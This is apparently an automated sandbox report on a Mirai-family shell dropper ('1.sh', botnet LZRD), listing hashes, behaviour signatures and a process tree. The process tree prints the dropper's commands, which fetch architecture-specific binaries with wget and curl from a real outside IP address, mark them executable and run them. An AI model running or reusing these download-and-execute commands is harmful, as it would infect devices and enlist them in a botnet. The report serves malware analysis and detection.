Overview

overview

10

Static

static

1

1.sh

ubuntu-18.04-amd64

10

1.sh

debian-9-armhf

10

1.sh

debian-9-mips

10

1.sh

debian-9-mipsel

10

Analysis

  • max time kernel
    139s
  • max time network
    149s
  • platform
    ubuntu-18.04_amd64
  • resource
    ubuntu1804-amd64-20240729-en
  • resource tags

    arch:amd64arch:i386image:ubuntu1804-amd64-20240729-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
  • submitted
    21-12-2024 07:44

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    1.sh

  • Size

    2KB

  • MD5

    5900bec79ec2bba33659f8a9dfe92eb6

  • SHA1

    73ec8e41322311f983e35396c66fab7ab580aa72

  • SHA256

    984686cc7b69066b7963531fa7948f8134fa9fd2f5beabcea849b2e5d852cbcc

  • SHA512

    671afe06a8c6d5108d48010d0ff4697c514e0febcbfd602d2953f9e13469ea05761386b9500b5a4d52b57b45f7cc037282b657110676f52f2d95f54cc2896a42

Score
10/10
mirailzrdbotnetdefense_evasiondiscoveryupx

Malware Config

Extracted

Family

mirai

Botnet

LZRD

Extracted

Family

mirai

Botnet

LZRD

Signatures

  • Mirai

    Mirai is a prevalent Linux malware infecting exposed network devices.

    botnetmirai
  • Mirai family
    mirai
  • File and Directory Permissions Modification 1 TTPs 15 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

    defense_evasion
  • Executes dropped EXE 15 IoCs
  • Modifies Watchdog functionality 1 TTPs 28 IoCs

    Malware like Mirai modifies the Watchdog to prevent it restarting an infected system.

    defense_evasion
  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Writes file to system bin folder 28 IoCs
  • UPX packed file 1 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

    upx
  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

    discovery
  • System Network Configuration Discovery 1 TTPs 4 IoCs

    Adversaries may gather information about the network configuration of a system.

    discovery
  • Writes file to tmp directory 30 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/1.sh
    /tmp/1.sh
    1⤵
    • Writes file to tmp directory
    PID:1515
    • /bin/cp
      cp /bin/busybox /tmp/
      2⤵
      • Writes file to tmp directory
      PID:1516
    • /usr/bin/wget
      wget http://154.216.16.63/hiddenbin/Space.arc
      2⤵
      • Writes file to tmp directory
      PID:1517
    • /usr/bin/curl
      curl -O http://154.216.16.63/hiddenbin/Space.arc
      2⤵
      • Writes file to tmp directory
      PID:1522
    • /bin/cat
      cat Space.arc
      2⤵
        PID:1523
      • /bin/chmod
        chmod +x 1.sh busybox config-err-IZfVsQ netplan_enwh8izm snap-private-tmp Space Space.arc ssh-9hEdEAdBTRuW systemd-private-ebf8c56e97e94b11b12c4628626e911d-bolt.service-0LUECz systemd-private-ebf8c56e97e94b11b12c4628626e911d-colord.service-0HU1IG systemd-private-ebf8c56e97e94b11b12c4628626e911d-ModemManager.service-CAm8PW systemd-private-ebf8c56e97e94b11b12c4628626e911d-systemd-resolved.service-gCUm69 systemd-private-ebf8c56e97e94b11b12c4628626e911d-systemd-timedated.service-ynj1Gb
        2⤵
        • File and Directory Permissions Modification
        PID:1524
      • /tmp/Space
        ./Space
        2⤵
        • Executes dropped EXE
        PID:1525
      • /usr/bin/wget
        wget http://154.216.16.63/hiddenbin/Space.x86
        2⤵
        • Writes file to tmp directory
        PID:1527
      • /usr/bin/curl
        curl -O http://154.216.16.63/hiddenbin/Space.x86
        2⤵
        • Writes file to tmp directory
        PID:1528
      • /bin/cat
        cat Space.x86
        2⤵
          PID:1529
        • /bin/chmod
          chmod +x 1.sh busybox config-err-IZfVsQ netplan_enwh8izm snap-private-tmp Space Space.arc Space.x86 ssh-9hEdEAdBTRuW systemd-private-ebf8c56e97e94b11b12c4628626e911d-bolt.service-0LUECz systemd-private-ebf8c56e97e94b11b12c4628626e911d-colord.service-0HU1IG systemd-private-ebf8c56e97e94b11b12c4628626e911d-ModemManager.service-CAm8PW systemd-private-ebf8c56e97e94b11b12c4628626e911d-systemd-resolved.service-gCUm69 systemd-private-ebf8c56e97e94b11b12c4628626e911d-systemd-timedated.service-ynj1Gb
          2⤵
          • File and Directory Permissions Modification
          PID:1530
        • /tmp/Space
          ./Space
          2⤵
          • Executes dropped EXE
          • Modifies Watchdog functionality
          • Writes file to system bin folder
          • Reads runtime system information
          PID:1531
        • /usr/bin/wget
          wget http://154.216.16.63/hiddenbin/Space.x86_64
          2⤵
          • Writes file to tmp directory
          PID:1537
        • /usr/bin/curl
          curl -O http://154.216.16.63/hiddenbin/Space.x86_64
          2⤵
          • Writes file to tmp directory
          PID:1538
        • /bin/chmod
          chmod +x 1.sh busybox config-err-IZfVsQ netplan_enwh8izm snap-private-tmp Space Space.arc Space.x86 Space.x86_64 ssh-9hEdEAdBTRuW systemd-private-ebf8c56e97e94b11b12c4628626e911d-bolt.service-0LUECz systemd-private-ebf8c56e97e94b11b12c4628626e911d-colord.service-0HU1IG systemd-private-ebf8c56e97e94b11b12c4628626e911d-ModemManager.service-CAm8PW systemd-private-ebf8c56e97e94b11b12c4628626e911d-systemd-resolved.service-gCUm69 systemd-private-ebf8c56e97e94b11b12c4628626e911d-systemd-timedated.service-ynj1Gb
          2⤵
          • File and Directory Permissions Modification
          PID:1540
        • /tmp/Space
          ./Space
          2⤵
          • Executes dropped EXE
          • Modifies Watchdog functionality
          • Writes file to system bin folder
          • Reads runtime system information
          PID:1541
        • /usr/bin/wget
          wget http://154.216.16.63/hiddenbin/Space.i686
          2⤵
          • Writes file to tmp directory
          PID:1547
        • /usr/bin/curl
          curl -O http://154.216.16.63/hiddenbin/Space.i686
          2⤵
          • Writes file to tmp directory
          PID:1548
        • /bin/chmod
          chmod +x 1.sh busybox config-err-IZfVsQ netplan_enwh8izm snap-private-tmp Space Space.arc Space.i686 Space.x86 Space.x86_64 ssh-9hEdEAdBTRuW systemd-private-ebf8c56e97e94b11b12c4628626e911d-bolt.service-0LUECz systemd-private-ebf8c56e97e94b11b12c4628626e911d-colord.service-0HU1IG systemd-private-ebf8c56e97e94b11b12c4628626e911d-ModemManager.service-CAm8PW systemd-private-ebf8c56e97e94b11b12c4628626e911d-systemd-resolved.service-gCUm69 systemd-private-ebf8c56e97e94b11b12c4628626e911d-systemd-timedated.service-ynj1Gb
          2⤵
          • File and Directory Permissions Modification
          PID:1550
        • /tmp/Space
          ./Space
          2⤵
          • Executes dropped EXE
          • Modifies Watchdog functionality
          • Writes file to system bin folder
          • Reads runtime system information
          PID:1551
        • /usr/bin/wget
          wget http://154.216.16.63/hiddenbin/Space.mips
          2⤵
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:1557
        • /usr/bin/curl
          curl -O http://154.216.16.63/hiddenbin/Space.mips
          2⤵
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:1558
        • /bin/chmod
          chmod +x 1.sh busybox config-err-IZfVsQ netplan_enwh8izm snap-private-tmp Space Space.arc Space.i686 Space.mips Space.x86 Space.x86_64 ssh-9hEdEAdBTRuW systemd-private-ebf8c56e97e94b11b12c4628626e911d-bolt.service-0LUECz systemd-private-ebf8c56e97e94b11b12c4628626e911d-colord.service-0HU1IG systemd-private-ebf8c56e97e94b11b12c4628626e911d-ModemManager.service-CAm8PW systemd-private-ebf8c56e97e94b11b12c4628626e911d-systemd-resolved.service-gCUm69 systemd-private-ebf8c56e97e94b11b12c4628626e911d-systemd-timedated.service-ynj1Gb
          2⤵
          • File and Directory Permissions Modification
          PID:1560
        • /tmp/Space
          ./Space
          2⤵
          • Executes dropped EXE
          • Modifies Watchdog functionality
          • Writes file to system bin folder
          • Reads runtime system information
          PID:1561
        • /usr/bin/wget
          wget http://154.216.16.63/hiddenbin/Space.mips64
          2⤵
          • System Network Configuration Discovery
          PID:1567
        • /usr/bin/curl
          curl -O http://154.216.16.63/hiddenbin/Space.mips64
          2⤵
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:1568
        • /bin/chmod
          chmod +x 1.sh busybox config-err-IZfVsQ netplan_enwh8izm snap-private-tmp Space Space.arc Space.i686 Space.mips Space.mips64 Space.x86 Space.x86_64 ssh-9hEdEAdBTRuW systemd-private-ebf8c56e97e94b11b12c4628626e911d-bolt.service-0LUECz systemd-private-ebf8c56e97e94b11b12c4628626e911d-colord.service-0HU1IG systemd-private-ebf8c56e97e94b11b12c4628626e911d-ModemManager.service-CAm8PW systemd-private-ebf8c56e97e94b11b12c4628626e911d-systemd-resolved.service-gCUm69 systemd-private-ebf8c56e97e94b11b12c4628626e911d-systemd-timedated.service-ynj1Gb
          2⤵
          • File and Directory Permissions Modification
          PID:1570
        • /tmp/Space
          ./Space
          2⤵
          • Executes dropped EXE
          • Modifies Watchdog functionality
          • Writes file to system bin folder
          • Reads runtime system information
          PID:1571
        • /usr/bin/wget
          wget http://154.216.16.63/hiddenbin/Space.mpsl
          2⤵
          • Writes file to tmp directory
          PID:1577
        • /usr/bin/curl
          curl -O http://154.216.16.63/hiddenbin/Space.mpsl
          2⤵
          • Writes file to tmp directory
          PID:1578
        • /bin/chmod
          chmod +x 1.sh busybox config-err-IZfVsQ netplan_enwh8izm snap-private-tmp Space Space.arc Space.i686 Space.mips Space.mips64 Space.mpsl Space.x86 Space.x86_64 ssh-9hEdEAdBTRuW systemd-private-ebf8c56e97e94b11b12c4628626e911d-bolt.service-0LUECz systemd-private-ebf8c56e97e94b11b12c4628626e911d-colord.service-0HU1IG systemd-private-ebf8c56e97e94b11b12c4628626e911d-ModemManager.service-CAm8PW systemd-private-ebf8c56e97e94b11b12c4628626e911d-systemd-resolved.service-gCUm69 systemd-private-ebf8c56e97e94b11b12c4628626e911d-systemd-timedated.service-ynj1Gb
          2⤵
          • File and Directory Permissions Modification
          PID:1580
        • /tmp/Space
          ./Space
          2⤵
          • Executes dropped EXE
          • Modifies Watchdog functionality
          • Writes file to system bin folder
          • Reads runtime system information
          PID:1581
        • /usr/bin/wget
          wget http://154.216.16.63/hiddenbin/Space.arm
          2⤵
          • Writes file to tmp directory
          PID:1589
        • /usr/bin/curl
          curl -O http://154.216.16.63/hiddenbin/Space.arm
          2⤵
          • Writes file to tmp directory
          PID:1590
        • /bin/chmod
          chmod +x 1.sh busybox config-err-IZfVsQ netplan_enwh8izm snap-private-tmp Space Space.arc Space.arm Space.i686 Space.mips Space.mips64 Space.mpsl Space.x86 Space.x86_64 ssh-9hEdEAdBTRuW systemd-private-ebf8c56e97e94b11b12c4628626e911d-bolt.service-0LUECz systemd-private-ebf8c56e97e94b11b12c4628626e911d-colord.service-0HU1IG systemd-private-ebf8c56e97e94b11b12c4628626e911d-ModemManager.service-CAm8PW systemd-private-ebf8c56e97e94b11b12c4628626e911d-systemd-resolved.service-gCUm69
          2⤵
          • File and Directory Permissions Modification
          PID:1592
        • /tmp/Space
          ./Space
          2⤵
          • Executes dropped EXE
          • Modifies Watchdog functionality
          • Writes file to system bin folder
          • Reads runtime system information
          PID:1593
        • /usr/bin/wget
          wget http://154.216.16.63/hiddenbin/Space.arm5
          2⤵
          • Writes file to tmp directory
          PID:1599
        • /usr/bin/curl
          curl -O http://154.216.16.63/hiddenbin/Space.arm5
          2⤵
          • Writes file to tmp directory
          PID:1600
        • /bin/chmod
          chmod +x 1.sh busybox config-err-IZfVsQ netplan_enwh8izm snap-private-tmp Space Space.arc Space.arm Space.arm5 Space.i686 Space.mips Space.mips64 Space.mpsl Space.x86 Space.x86_64 ssh-9hEdEAdBTRuW systemd-private-ebf8c56e97e94b11b12c4628626e911d-bolt.service-0LUECz systemd-private-ebf8c56e97e94b11b12c4628626e911d-colord.service-0HU1IG systemd-private-ebf8c56e97e94b11b12c4628626e911d-ModemManager.service-CAm8PW systemd-private-ebf8c56e97e94b11b12c4628626e911d-systemd-resolved.service-gCUm69
          2⤵
          • File and Directory Permissions Modification
          PID:1602
        • /tmp/Space
          ./Space
          2⤵
          • Executes dropped EXE
          • Modifies Watchdog functionality
          • Writes file to system bin folder
          • Reads runtime system information
          PID:1603
        • /usr/bin/wget
          wget http://154.216.16.63/hiddenbin/Space.arm6
          2⤵
          • Writes file to tmp directory
          PID:1609
        • /usr/bin/curl
          curl -O http://154.216.16.63/hiddenbin/Space.arm6
          2⤵
          • Writes file to tmp directory
          PID:1610
        • /bin/chmod
          chmod +x 1.sh busybox config-err-IZfVsQ netplan_enwh8izm snap-private-tmp Space Space.arc Space.arm Space.arm5 Space.arm6 Space.i686 Space.mips Space.mips64 Space.mpsl Space.x86 Space.x86_64 ssh-9hEdEAdBTRuW systemd-private-ebf8c56e97e94b11b12c4628626e911d-bolt.service-0LUECz systemd-private-ebf8c56e97e94b11b12c4628626e911d-colord.service-0HU1IG systemd-private-ebf8c56e97e94b11b12c4628626e911d-ModemManager.service-CAm8PW systemd-private-ebf8c56e97e94b11b12c4628626e911d-systemd-resolved.service-gCUm69
          2⤵
          • File and Directory Permissions Modification
          PID:1612
        • /tmp/Space
          ./Space
          2⤵
          • Executes dropped EXE
          • Modifies Watchdog functionality
          • Writes file to system bin folder
          • Reads runtime system information
          PID:1613
        • /usr/bin/wget
          wget http://154.216.16.63/hiddenbin/Space.arm7
          2⤵
          • Writes file to tmp directory
          PID:1619
        • /usr/bin/curl
          curl -O http://154.216.16.63/hiddenbin/Space.arm7
          2⤵
          • Writes file to tmp directory
          PID:1620
        • /bin/chmod
          chmod +x 1.sh busybox config-err-IZfVsQ netplan_enwh8izm snap-private-tmp Space Space.arc Space.arm Space.arm5 Space.arm6 Space.arm7 Space.i686 Space.mips Space.mips64 Space.mpsl Space.x86 Space.x86_64 ssh-9hEdEAdBTRuW systemd-private-ebf8c56e97e94b11b12c4628626e911d-bolt.service-0LUECz systemd-private-ebf8c56e97e94b11b12c4628626e911d-colord.service-0HU1IG systemd-private-ebf8c56e97e94b11b12c4628626e911d-ModemManager.service-CAm8PW systemd-private-ebf8c56e97e94b11b12c4628626e911d-systemd-resolved.service-gCUm69
          2⤵
          • File and Directory Permissions Modification
          PID:1622
        • /tmp/Space
          ./Space
          2⤵
          • Executes dropped EXE
          • Modifies Watchdog functionality
          • Writes file to system bin folder
          • Reads runtime system information
          PID:1623
        • /usr/bin/wget
          wget http://154.216.16.63/hiddenbin/Space.ppc
          2⤵
          • Writes file to tmp directory
          PID:1629
        • /usr/bin/curl
          curl -O http://154.216.16.63/hiddenbin/Space.ppc
          2⤵
          • Writes file to tmp directory
          PID:1630
        • /bin/chmod
          chmod +x 1.sh busybox config-err-IZfVsQ netplan_enwh8izm snap-private-tmp Space Space.arc Space.arm Space.arm5 Space.arm6 Space.arm7 Space.i686 Space.mips Space.mips64 Space.mpsl Space.ppc Space.x86 Space.x86_64 ssh-9hEdEAdBTRuW systemd-private-ebf8c56e97e94b11b12c4628626e911d-bolt.service-0LUECz systemd-private-ebf8c56e97e94b11b12c4628626e911d-colord.service-0HU1IG systemd-private-ebf8c56e97e94b11b12c4628626e911d-ModemManager.service-CAm8PW systemd-private-ebf8c56e97e94b11b12c4628626e911d-systemd-resolved.service-gCUm69
          2⤵
          • File and Directory Permissions Modification
          PID:1632
        • /tmp/Space
          ./Space
          2⤵
          • Executes dropped EXE
          • Modifies Watchdog functionality
          • Writes file to system bin folder
          • Reads runtime system information
          PID:1633
        • /usr/bin/wget
          wget http://154.216.16.63/hiddenbin/Space.sparc
          2⤵
            PID:1639
          • /usr/bin/curl
            curl -O http://154.216.16.63/hiddenbin/Space.sparc
            2⤵
            • Writes file to tmp directory
            PID:1640
          • /bin/chmod
            chmod +x 1.sh busybox config-err-IZfVsQ netplan_enwh8izm snap-private-tmp Space Space.arc Space.arm Space.arm5 Space.arm6 Space.arm7 Space.i686 Space.mips Space.mips64 Space.mpsl Space.ppc Space.sparc Space.x86 Space.x86_64 ssh-9hEdEAdBTRuW systemd-private-ebf8c56e97e94b11b12c4628626e911d-bolt.service-0LUECz systemd-private-ebf8c56e97e94b11b12c4628626e911d-colord.service-0HU1IG systemd-private-ebf8c56e97e94b11b12c4628626e911d-ModemManager.service-CAm8PW systemd-private-ebf8c56e97e94b11b12c4628626e911d-systemd-resolved.service-gCUm69
            2⤵
            • File and Directory Permissions Modification
            PID:1642
          • /tmp/Space
            ./Space
            2⤵
            • Executes dropped EXE
            • Modifies Watchdog functionality
            • Writes file to system bin folder
            • Reads runtime system information
            PID:1643
          • /usr/bin/wget
            wget http://154.216.16.63/hiddenbin/Space.m68k
            2⤵
            • Writes file to tmp directory
            PID:1649
          • /usr/bin/curl
            curl -O http://154.216.16.63/hiddenbin/Space.m68k
            2⤵
            • Writes file to tmp directory
            PID:1650
          • /bin/chmod
            chmod +x 1.sh busybox config-err-IZfVsQ netplan_enwh8izm snap-private-tmp Space Space.arc Space.arm Space.arm5 Space.arm6 Space.arm7 Space.i686 Space.m68k Space.mips Space.mips64 Space.mpsl Space.ppc Space.sparc Space.x86 Space.x86_64 ssh-9hEdEAdBTRuW systemd-private-ebf8c56e97e94b11b12c4628626e911d-bolt.service-0LUECz systemd-private-ebf8c56e97e94b11b12c4628626e911d-colord.service-0HU1IG systemd-private-ebf8c56e97e94b11b12c4628626e911d-ModemManager.service-CAm8PW systemd-private-ebf8c56e97e94b11b12c4628626e911d-systemd-resolved.service-gCUm69
            2⤵
            • File and Directory Permissions Modification
            PID:1652
          • /tmp/Space
            ./Space
            2⤵
            • Executes dropped EXE
            • Modifies Watchdog functionality
            • Writes file to system bin folder
            • Reads runtime system information
            PID:1653
          • /usr/bin/wget
            wget http://154.216.16.63/hiddenbin/Space.sh4
            2⤵
            • Writes file to tmp directory
            PID:1659
          • /usr/bin/curl
            curl -O http://154.216.16.63/hiddenbin/Space.sh4
            2⤵
            • Writes file to tmp directory
            PID:1660
          • /bin/chmod
            chmod +x 1.sh busybox config-err-IZfVsQ netplan_enwh8izm snap-private-tmp Space Space.arc Space.arm Space.arm5 Space.arm6 Space.arm7 Space.i686 Space.m68k Space.mips Space.mips64 Space.mpsl Space.ppc Space.sh4 Space.sparc Space.x86 Space.x86_64 ssh-9hEdEAdBTRuW systemd-private-ebf8c56e97e94b11b12c4628626e911d-bolt.service-0LUECz systemd-private-ebf8c56e97e94b11b12c4628626e911d-colord.service-0HU1IG systemd-private-ebf8c56e97e94b11b12c4628626e911d-ModemManager.service-CAm8PW systemd-private-ebf8c56e97e94b11b12c4628626e911d-systemd-resolved.service-gCUm69
            2⤵
            • File and Directory Permissions Modification
            PID:1662
          • /tmp/Space
            ./Space
            2⤵
            • Executes dropped EXE
            • Modifies Watchdog functionality
            • Writes file to system bin folder
            • Reads runtime system information
            PID:1663

        Network

        MITRE ATT&CK Enterprise v15

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        • /tmp/Space
          Filesize

          37KB

          MD5

          040ffa7428eb327e862d8ef760f9b0b7

          SHA1

          a5d63558608159d11599e17fc22418e8d6be37e3

          SHA256

          a0a8b1e5a745d6a769d6bad18629d8e3219220184b70c0bf35d57e677f15547e

          SHA512

          8c17678e8b2bb096a01bcbf633fd0cde40b77519508165d8e6b1dc9634654156e6064ad1d67544b52bebbadcb2bdc3cccec301ff1fd6ce4750d0eb290be2087f

          Download Submit

        • /tmp/Space.arc
          Filesize

          113KB

          MD5

          2b28ad39d8447ff98e4880a5f4518f5d

          SHA1

          5829d16ccff2037972e268c6ec1c23737c641fa1

          SHA256

          62456a156cd7b4ddc7254c08bb0c56d93480d8b72a21d045eb44da76fbc5fdba

          SHA512

          3962452902afb695ab1cd060f6a2563fedf0c304bca7e5c8dd9af95a9e7bbaabdc08b7f4ba9d2dc463519bcb0a61c6f9357b3a172c10cca79bdbb2cf7984a86f

          Download Submit

        • /tmp/busybox
          Filesize

          2.0MB

          MD5

          b4dede5fc0b1bad5cb8e901bde126b97

          SHA1

          10cbe9a418ad84a1ed297948539d37aeb58dd810

          SHA256

          a9f0735d28f9a6a4f2634d3b144156f7b3df3b476a16a5ab0c7bdf98d74dd020

          SHA512

          45665ce3a42f63a01fdef517e0c4cb943efce64c8a32d3ce07ab4f1fafc23cda77f378d324342efc79dc9d2293c4b4454d06c1cf4997b9e866784de01cb546e6

          Download Submit